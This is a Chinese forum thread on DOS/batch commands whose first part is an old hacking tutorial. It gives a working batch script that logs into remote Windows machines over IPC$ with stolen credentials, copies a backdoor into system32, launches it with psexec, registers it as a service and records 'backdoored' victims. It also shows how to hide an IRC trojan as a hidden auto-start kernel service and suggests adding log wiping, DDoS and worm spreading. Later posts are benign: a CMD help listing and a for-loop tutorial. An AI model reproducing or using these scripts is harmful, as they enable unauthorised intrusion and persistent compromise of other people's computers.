--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
------

------------------- cut here then save as a batchfile(I call it door.bat) ------------------
-----------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3
>>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------
------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一
目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功
能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见
,我们就不考虑它了。

sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat 写不下了,分几批发上来吧!!!
补充:
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添
足了~
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令
写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令
了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了.No.3

三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则
一直执行完所有命令;
Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做备份的时候可能会用到这种命令会比较简单,如:
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb
E:\backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法
可以替换IF exist了.
3.││
Usage:第一条命令 ││ 第二条命令 [││ 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的
命令则一直执行完所有命令;
Sample:
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
组合命令使用的例子:

sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3
>>victim.txt

四、管道命令的使用
1.│ 命令
Usage:第一条命令 │ 第二条命令 [│ 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
sample:
time /t>>D:\IP.log
netstat -n -p tcp│find ":3389">>D:\IP.log
start Explorer
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登
录用户的IP。
2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内
容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。
sample1:
echo hello world>c:\hello.txt (stupid example?)
sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不
例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运
行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比
较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,
然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没
有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到
回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。
3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用,也就不多做介绍。
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删
除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统
的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操
作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。
1.创建
创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子
项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是"String value"
door的类型是"REG SZ value"
Autodos的类型是"DWORD value"
2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s
)即可。
3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就
被删除了;
我们再看看删除一个子项,我们创建一个如下的脚本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了

相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了
,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、
Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查
杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为
windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=
c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和
只读,并config为自启动]
@REM 这样不是更安全.

六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg

http://wenwen.sogou.com/z/q178444210.htm
作者: zzz19760225     时间: 2017-8-31 18:12
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:12
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:12
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:12
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:12
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:12    标题: 硬件语言命令

DOS命令

[ Last edited by zzz19760225 on 2017-8-31 at 18:37 ]
作者: zzz19760225     时间: 2017-8-31 18:13
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:13
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:13
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:13
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:13
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:14
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:14
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:14
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:15
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:15
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:15
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:15
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:15
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:15
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:16    标题: 系统语言命令

DOS命令

[ Last edited by zzz19760225 on 2017-8-31 at 18:37 ]
作者: zzz19760225     时间: 2017-8-31 18:16
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:16
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:16
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:16
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:16
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:16
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:17
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:17
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:17
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:18
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:18
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:18
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:18
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:18
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:18    标题: 应用语言命令

DOS命令

[ Last edited by zzz19760225 on 2017-8-31 at 18:38 ]
作者: zzz19760225     时间: 2017-8-31 18:18
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:19
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:19
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:19
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:19
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:19
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:19
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:19
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:20
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:20
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:20
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:20
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:20
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:20
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:21    标题: 文件内容处理命令

硬件信息处理命令
软件数据处理命令
文件内容处理命令
文件名处理命令
文件夹和目录处理命令
  

主要三类处理,文件内容信息字符的处理,路径定义指向的处理,?。
主要筛选增加命令,删除命令,替换命令,指定位置命令,搜索命令,或类似效果

123456789
223456789
323456789
423456789
523456789                           文件夹
623456789
723456789
823456789
923456789
   |---123456789.txt
   |---223456789.txt
   |---323456789.txt
   |---423456789.txt
   |---523456789.txt               文件名
   |---623456789.txt
   |---723456789.txt
   |---823456789.txt
   |---923456789.txt
              |----123456789
              |----223456789
              |----323456789
              |----423456789
              |----523456789       文件内容
              |----623456789
              |----723456789
              |----823456789
              |----923456789

搜索电脑里的信息,统计列表,树结构
对文件夹,文件名,文件内容进行操作的实现,分类并抽象为文字虚拟容器概念

建立一个总的文件夹z;
建立10个文件夹,每个里面建立10个文本文件,每个文本里面建立10行数字,每行10个数字。

cd d:

md z

cd z

md 0
md 1
md 2
md 3
md 4
md 5
md 6
md 7
md 8
md 9

cd 0

type con > 0.txt
0123456789
1123456789
2123456789
3123456789
4123456789
5123456789
6123456789
7123456789
8123456789
9123456789

Ctrl+z  enter

copy d:\z\0\0.txt d:\z\1\0.txt
copy d:\z\0\0.txt d:\z\2\0.txt
copy d:\z\0\0.txt d:\z\3\0.txt
copy d:\z\0\0.txt d:\z\4\0.txt
copy d:\z\0\0.txt d:\z\5\0.txt
copy d:\z\0\0.txt d:\z\6\0.txt
copy d:\z\0\0.txt d:\z\7\0.txt
copy d:\z\0\0.txt d:\z\8\0.txt
copy d:\z\0\0.txt d:\z\9\0.txt

[ Last edited by zzz19760225 on 2017-10-25 at 19:07 ]
作者: zzz19760225     时间: 2017-8-31 18:21    标题: CMD

微软WIN7的CMD命令行
WIN窗口键+R
输入CMD回车
两次输入回车cd..  (后一次可按方向键向上+回车)
help
help > 1.txt
1.txt内容复制粘贴

--------------------------------------------------------------------

有关某个命令的详细信息,请键入 HELP 命令名
ASSOC          显示或修改文件扩展名关联。
ATTRIB         显示或更改文件属性。
BREAK          设置或清除扩展式 CTRL+C 检查。
BCDEDIT        设置启动数据库中的属性以控制启动加载。
CACLS          显示或修改文件的访问控制列表(ACL)。
CALL           从另一个批处理程序调用这一个。
CD             显示当前目录的名称或将其更改。
CHCP           显示或设置活动代码页数。
CHDIR          显示当前目录的名称或将其更改。
CHKDSK         检查磁盘并显示状态报告。
CHKNTFS        显示或修改启动时间磁盘检查。
CLS            清除屏幕。
CMD            打开另一个 Windows 命令解释程序窗口。
COLOR          设置默认控制台前景和背景颜色。
COMP           比较两个或两套文件的内容。
COMPACT        显示或更改 NTFS 分区上文件的压缩。
CONVERT        将 FAT 卷转换成 NTFS。您不能转换
               当前驱动器。
COPY           将至少一个文件复制到另一个位置。
DATE           显示或设置日期。
DEL            删除至少一个文件。
DIR            显示一个目录中的文件和子目录。
DISKCOMP       比较两个软盘的内容。
DISKCOPY       将一个软盘的内容复制到另一个软盘。
DISKPART       显示或配置磁盘分区属性。
DOSKEY         编辑命令行、调用 Windows 命令并创建宏。
DRIVERQUERY    显示当前设备驱动程序状态和属性。
ECHO           显示消息,或将命令回显打开或关上。
ENDLOCAL       结束批文件中环境更改的本地化。
ERASE          删除一个或多个文件。
EXIT           退出 CMD.EXE 程序(命令解释程序)。
FC             比较两个文件或两个文件集并显示它们之间的不同。
FIND           在一个或多个文件中搜索一个文本字符串。
FINDSTR        在多个文件中搜索字符串。
FOR            为一套文件中的每个文件运行一个指定的命令。
FORMAT         格式化磁盘,以便跟 Windows 使用。
FSUTIL         显示或配置文件系统的属性。
FTYPE          显示或修改用在文件扩展名关联的文件类型。
GOTO           将 Windows 命令解释程序指向批处理程序
               中某个带标签的行。
GPRESULT       显示机器或用户的组策略信息。
GRAFTABL       启用 Windows 在图形模式显示扩展字符集。
HELP           提供 Windows 命令的帮助信息。
ICACLS         显示、修改、备份或还原文件和
目录的 ACL。
IF             在批处理程序中执行有条件的处理过程。
LABEL          创建、更改或删除磁盘的卷标。
MD             创建一个目录。
MKDIR          创建一个目录。
MKLINK         创建符号链接和硬链接
MODE           配置系统设备。
MORE           逐屏显示输出。
MOVE           将一个或多个文件从一个目录移动到另一个目录。
OPENFILES      显示远程用户为了文件共享而打开的文件。
PATH           为可执行文件显示或设置搜索路径。
PAUSE          停止批处理文件的处理并显示信息。
POPD           还原由 PUSHD 保存的当前目录上一次的值。
PRINT          打印一个文本文件。
PROMPT         改变 Windows 命令提示。
PUSHD          保存当前目录,然后对其进行更改。
RD             删除目录。
RECOVER        从损坏的磁盘中恢复可读取的信息。
REM            记录批处理文件或 CONFIG.SYS 中的注释。
REN            重新命名文件。
RENAME         重新命名文件。
REPLACE        替换文件。
RMDIR          删除目录。
ROBOCOPY       复制文件和目录树的高级实用程序
SET            显示、设置或删除 Windows 环境变量。
SETLOCAL       开始用批文件改变环境的本地化。
SC             显示或配置服务(后台处理)。
SCHTASKS       安排命令和程序在一部计算机上按计划运行。
SHIFT          调整批处理文件中可替换参数的位置。
SHUTDOWN       让机器在本地或远程正确关闭。
SORT           将输入排序。
START          打开单独视窗运行指定程序或命令。
SUBST          将驱动器号与路径关联。
SYSTEMINFO     显示机器的具体的属性和配置。
TASKLIST       显示包括服务的所有当前运行的任务。
TASKKILL       终止正在运行的进程或应用程序。
TIME           显示或设置系统时间。
TITLE          设置 CMD.EXE 会话的窗口标题。
TREE           以图形显示启动器或路径的目录结构。
TYPE           显示文本文件的内容。
VER            显示 Windows 的版本。
VERIFY         告诉 Windows 验证文件是否正确写入磁盘。
VOL            显示磁盘卷标和序列号。
XCOPY          复制文件和目录树。
WMIC           在交互命令外壳里显示 WMI 信息。

有关工具的详细信息,请参阅联机帮助中的命令行参考。

------------------------------------------------------------------------------------

[ Last edited by zzz19760225 on 2017-10-25 at 18:42 ]
作者: zzz19760225     时间: 2017-8-31 18:21    标题: 论坛命令行

论坛命令行     http://www.cn-dos.net/forum/cmdprmt.php

输入help

--------------------------------------------------------------------------------

BREAK    设置或清除扩展 Ctrl+C 检测。
CD       显示当前目录名或改变当前目录。
CHCP     显示或设置活动代码页编号。
CLS      清除屏幕。
CMD      启动或刷新命令处理器。
COLOR    设置默认的控制台前景和背景颜色。
DATE     显示当前日期。
DEL      删除文件。
DIR      显示目录内容。
ECHO     显示信息,或将命令回显打开或关上。
EDIT     启动文件编辑器,可用于建立和编辑文本文件的编辑器。
EXIT     退回 Web 界面。
FIND     在文件中搜索字符串。
FONT     列出所有可用字体或改变当前字体。
GOTO     跳转到批处理程序中带标签的行。
HELP     提供命令的帮助信息。
HISTORY  显示命令行历史。
IF       执行条件处理。
MORE     显示文件内容,每次显示一个帖子。
NET      管理当前用户。
PAUSE    暂停执行程序并显示一条消息。
POPD     还原由 PUSHD 保存的当前目录上一次的值。
PROMPT   更改命令提示符。
PUSHD    保存当前目录以供 POPD 命令使用,然后更改目录。
REM      加上注解或说明。
REN      重命名文件。
SET      显示、设置或删除环境变量。
SHIFT    更改批处理文件中可替换参数的位置。
TIME     显示当前时间。
TITLE    设置命令提示窗口的窗口标题。
TYPE     显示文件内容。
VER      显示系统版本。
VOL      显示磁盘卷标和序列号。

提示:如果您已经登录,您可以将这些命令加入到A:\AUTOEXEC.BAT中来自定义命令提示符。
--------------------------------------------------------------------------------------

[ Last edited by zzz19760225 on 2017-10-25 at 10:11 ]
作者: zzz19760225     时间: 2017-8-31 18:21
for语句从入门到精通

首发地址:http://bbs.bathome.net/thread-2189-1-1.html

一 前言
二 for语句的基本用法
三 for /f        含变量延迟
四 for /r
五 for /d
六 for /l


                一、前言

  在批处理中,for是最为强大的命令语句,它的出现,使得解析文本内容、遍历文件路径、数值递增/递减等操作成为可能;配合if、call、goto等流程控制语句,更是可以实现脚本复杂的自动化、智能化操作;合理使用for语句,还能使代码大为简化,免除各位编写大量重复语句之苦。而能否熟练使用for语句,已经成为衡量一个人批处理水平高低最主要的标准。

  在这个系列教程中,我将通过实际应用中频繁出现的例子,带领大家步入for语句的神奇之门,一步步迈向for语句的魔幻殿堂,使得大家在实际的应用中,能独立写出简洁高效的代码,在批处理的世界里自由驰骋。

  注意:以下的讲解,都是基于简体中文Windows XP Pro SP3的操作系统环境


                二、for语句的基本用法[2008.11.9更新]

  正如色彩缤纷的七彩光芒是由红绿蓝三原色构成的一样,最复杂的for语句,也有其基本形态,它的模样是这样的:

  在cmd窗口中:for %I in (command1) do command2
  在批处理文件中:for %%I in (command1) do command2

  之所以要区分cmd窗口和批处理文件两种环境,是因为在这两种环境下,命令语句表现出来的行为虽然基本一样,但是在细节上还是稍有不同,最明显的一个差异就是:在cmd窗口中,for之后的形式变量I必须使用单百分号引用,即%I;而在批处理文件中,引用形式变量I必须使用双百分号,即%%I。为了方便起见,若不是特别强调,以下的讲解都以批处理文件环境为例。

  我们先来看一下for语句的基本要素都有些什么:

  1、for、in和do是for语句的关键字,它们三个缺一不可;
  2、%%I是for语句中对形式变量的引用,就算它在do后的语句中没有参与语句的执行,也是必须出现的;
  3、in之后,do之前的括号不能省略;
  4、command1表示字符串或变量,command2表示字符串、变量或命令语句;

  现在,你可能已经会写一个简单的for语句了,比如:

[code1]
@echo off
for %%I in (bbs.bathome.cn) do echo %%I
pause

  保存为批处理文件并执行,将会在弹出的批处理窗口中看到这样的信息:

[result1]
bbs.bathome.cn
请按任意键继续...

  很快地,你会觉得这个for语句是如此的简单,简单到你丝毫感受不出它的强大:这个for语句,和我直接用echo语句没什么两样啊!

  是的,演示代码永远都只是演示而已,就像大多数高级语言的教科书一样,在引导新手学习的时候,基本上都是千篇一律地告诉大家如何编写一个能显示 hello world! 的窗口,从这些演示代码中,你看不到它们具有多少实用性,你只是感到有点好奇:咦,居然弹出了一个窗口?片刻之后,你就会觉得索然无味。

  那好吧,为了让大家对for更加感兴趣,我们先来分析一下for语句的一些注意事项,之后,再让大家看看更为强大的for语句实例。

  1、for语句的形式变量I,可以换成26个字母中的任意一个,这些字母会区分大小写,也就是说,%%I和%%i会被认为不是同一个变量;形式变量I还可以换成其他的字符,但是,为了不与批处理中的%0~%9这10个形式变量发生冲突,请不要随意把%%I替换为%%0 ~%%9中的任意一个;
  2、in和do之间的command1表示的字符串或变量可以是一个,也可以是多个,每一个字符串或变量,我们称之为一个元素,每个元素之间,用空格键、跳格键、逗号、分号或等号分隔;
  3、for语句依次提取command1中的每一个元素,把它的值赋予形式变量I,带到do后的command2中参与命令的执行;并且每次只提取一个元素,然后执行一次do后的命令语句,而无论这个元素是否被带到command2中参与了command2的运行;当执行完一次do后的语句之后,再提取command1中的下一个元素,再执行一次command2,如此循环,直到command1中的所有元素都已经被提取完毕,该for语句才宣告执行结束;

  其中,第3点是最为关键的,它描述了for语句的执行过程,是for语句的精髓所在,大家一定要牢记这一条,才能深刻理解更为复杂的for流程。

  有了以上的基础,我们再来看一个例子,这个例子修改了code1的部分内容,结果将大不一样:

[code2]
@echo off
for %%I in (bbs,bathome,cn) do echo %%I
pause

  和code1的执行结果相比,code2的执行结果发生了如下变化:
  1、显示结果分成了3行(不算最后一行中文提示);
  2、每一行都从逗号处被切分;

  如果把 bbs.bathome.cn 这个字符串中的点号换为空格、跳格或等号,执行结果将和code2的执行结果别无二致。

  现在,我们来分析一下code2代码中for语句的执行过程:

  首先,for语句以逗号为分隔符,把 bbs,bathome,cn 这个字符串切分成三个元素:bbs、bathome和cn,由此决定了do后的语句将会被执行3次;
  然后,第一次执行过程是这样的:先把 bbs 这个字符串作为形式变量I的值,带入do后的语句中加以执行,也就是执行 echo %%I 语句,此时的I值为bbs,因此,第一次执行的结果,将会在屏幕上显示bbs这个字符串;第二次执行和第一次执行的过程是一样的,只不过此时I的值已经被替换为command1中的第二个元素了,也就是 bathome 这个字符串;如此循环,当第三次echo执行完毕之后,整条for语句才算执行完毕,此时,将执行下一条语句,也就是pause命令。

  其实,这个例子只比上一个例子多了一点花样,有趣了那么一点点:一条for语句的执行结果居然被分成了3行!

  为了让大家见识一下for的真正威力,本人绞尽脑汁,翻帖无数,不得要领,万般无奈之下,只好亮出了尘封在箱底多年的一段代码:检测当前硬盘都有哪些分区^_^

[code3]
@echo off
set str=c d e f g h i j k l m n o p q r s t u v w x y z
echo 当前硬盘的分区有:
for %%i in (%str%) do if exist %%i: echo %%i:
pause

  这段代码能检测硬盘都有哪些分区,包括U盘和移动硬盘的分区,但是,当光驱中有盘的时候,也会被列出来,这是本代码的一个缺憾,在以后的讲解中,我将向大家讲述如何消除这个瑕疵,敬请关注本系列的后续章节。

  高级应用:

  想知道当前目录下都有哪些文件吗?请用下面的代码:

@echo off
for %%i in (*.*) do echo "%%i"
pause

  想列出当前目录下所有的文本文件吗?请用下面的代码:

@echo off
for %%i in (*.txt) do echo "%%i"
pause

  想列出只用两个字符作为文件名的文本文件吗?请用下面的代码:

@echo off
for %%i in (??.txt) do echo "%%i"
pause

  题外话:

  1、列出当前目录下各种文件的方法,最简单的还是用dir命令,但是,从以上代码中,各位可以加深对for语句执行流程的理解(用到了通配符*和?);
  2、注意:以上代码不能列出含有隐藏或系统属性的文件;

  练习:用for语句建立test1.txt、test2.txt和test3.txt三个文本文件。

  更全面的练习请看这个帖子:for语句从入门到精通配套练习题 http://bbs.bathome.cn/thread-2336-1-1.html



                三、文本解析显神威:for /f 用法详解

                前言

  for /f 是个十分强大的家伙。

  如果说,for语句是批处理中最强大的语句的话,那么,for /f 就是精华中的精华。

  for /f 的强大,和它拥有众多的开关密切相关。因为开关众多,所以用法复杂,本章将分成若干小节,为大家逐一介绍强大的 for /f 语句。

                (一) 为解析文本而生:for /f 的基本用法

  所有的对象,无论是文件、窗体、还是控件,在所有的非机器语言看来,无外乎都是形如"c:\test.txt"、"CWnd"之类的文本信息;而所有的对象,具体的如ini文件中的某条配置信息、注册表中的某个键值、数据库中的某条记录……都只有转化为具有一定格式的文本信息,方可被代码识别、操控。可以说,编程的很大一部分工作,都是在绞尽脑汁想方设法如何提取这些文本信息。

  而提取文本信息,则是for /f的拿手好戏:读取文件内容;提取某几行字符;截取某个字符片段;对提取到的内容再切分、打乱、杂糅……只要你所能想到的花样,for /f 都会想方设法帮你办到,因为,for /f 就是被设计成专门用于解析文本的。

  先来看个例子。

  假如有个文本文件test.txt,内容如下:

[txt1]
论坛的目标是:不求最大,但求最好,做最实用的批处理论坛。
论坛地址:bbs.bathome.cn。
这里是:新手晋级的福地,高手论剑的天堂。

  那么,将如下代码保存为test.cmd,并放在test.txt同一目录下运行,将会在屏幕上原样显示test.txt的内容:

[code4]
@echo off
for /f %%i in (test.txt) do echo %%i
pause

  这段代码,主要是让你树立这样一种观念:读取文本文件的内容,请使用 for /f 语句!


  进阶话题:for /f 语句是把整个test.txt一次性显示出来的?

  在这段代码中,虽然执行结果是把test.txt中的所有内容都显示出来了,貌似 for /f 语句是把整个test.txt一次性显示到屏幕上,实际上并非如此。

  无论for语句做何种变化,它的执行过程仍然遵循基本的for流程:依次处理每个元素,直到所有的元素都被处理为止。只不过在for /f语句中,这里的元素是指文件中的每一行,也就是说,for /f 语句是以行为单位处理文本文件的。这是一条极为重要的规则,在上一章中也强调过它的重要性,希望在接下来的学习过程中,你能时刻牢记这一原则,那么,很多问题将会迎刃而解。以下是验证这一说法的演示代码(在[code4]的基础上添加了&pause语句):

[code5]
@echo off
for /f %%i in (test.txt) do echo %%i&pause
pause

                (二) 切分字符串的利器:delims=

  也许你对[code4]这段代码不屑一顾:不就是把test.txt的内容显示出来了么?好像用处不大啊。

  好吧,我们来玩个魔术。

  还是[txt1]这段文本,把[code4]改造一下:

[code6]
@echo off
for /f "delims=," %%i in (test.txt) do echo %%i
pause

  再次运行test.cmd,看到什么变化了吗?!

[result2]
论坛的目标是:不求最大
论坛地址:bbs.bathome.cn。
这里是:新手晋级的福地
请按任意键继续...

  结果,你惊奇地发现,每行第一个逗号之后的所有内容都不见了(如果有不存在逗号的行,则保留原样),也就说,你成功地提取到了每行第一个逗号之前的所有内容!

  试想一下,这段代码会有什么用呢?

